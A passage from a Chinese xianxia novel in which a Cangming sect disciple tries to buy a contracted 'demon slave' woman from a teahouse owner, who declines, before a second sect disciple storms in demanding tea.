“两万灵石,够不够?”许子墨随口说道,好像两万灵石对他来说根本算不得什么,可以再加。 李岩紧咬着后槽牙,这些年觊觎张之雁美貌的人自然也有,可万万没想到沧溟派内门弟子也瞧上了张之雁。 若只论价钱,他当时买下张之雁只花了一千灵石,可这些年茶馆经营,全靠张之雁才能做到现在这地步。算上未来的利润,他怎么可能为了两万灵石把张之雁转卖出去? 他只能赔着笑,附在许子墨耳边说:“不瞒您说,她其实是我买来的妖奴,订了妖奴契约的,小仙君您可是沧溟派的仙人,妖还是不要沾的好。” 听完这话,许子墨皱了皱眉,“这么麻烦?那……好吧。” 他看上去颇为厌倦地摆了摆手,倒了杯酒一饮而尽,一副备受打击的模样。 “小仙君您慢慢吃,我们不打扰了,”李岩赶快一把将张之雁拉走,下楼时还狠狠剁了张之雁一眼,“你又是什么时候勾搭上沧溟派的修士了!” 张之雁不搭腔,冷冷地从他身边穿过。 两人下楼没多久,门口铃铛一响,一个身材娇小的少女提剑走进,面色凌厉,径自往茶馆最中间的桌上一坐,宝剑啪一声拍在桌上。 周围的客人都被她吓了一跳,待要发怒,却见到少女腰间佩的沧溟派内门弟子令牌,都噤了声,不愿意惹麻烦地纷纷溜走。 少女旁若无人地朝李岩横过来一眼,看上去心情很糟糕:“你们这里最贵的茶,给我上一壶!” “哎,”李岩咬牙应了一声,心里却恨透了。 这沧溟派的内门弟子,今天真是没完没了吗!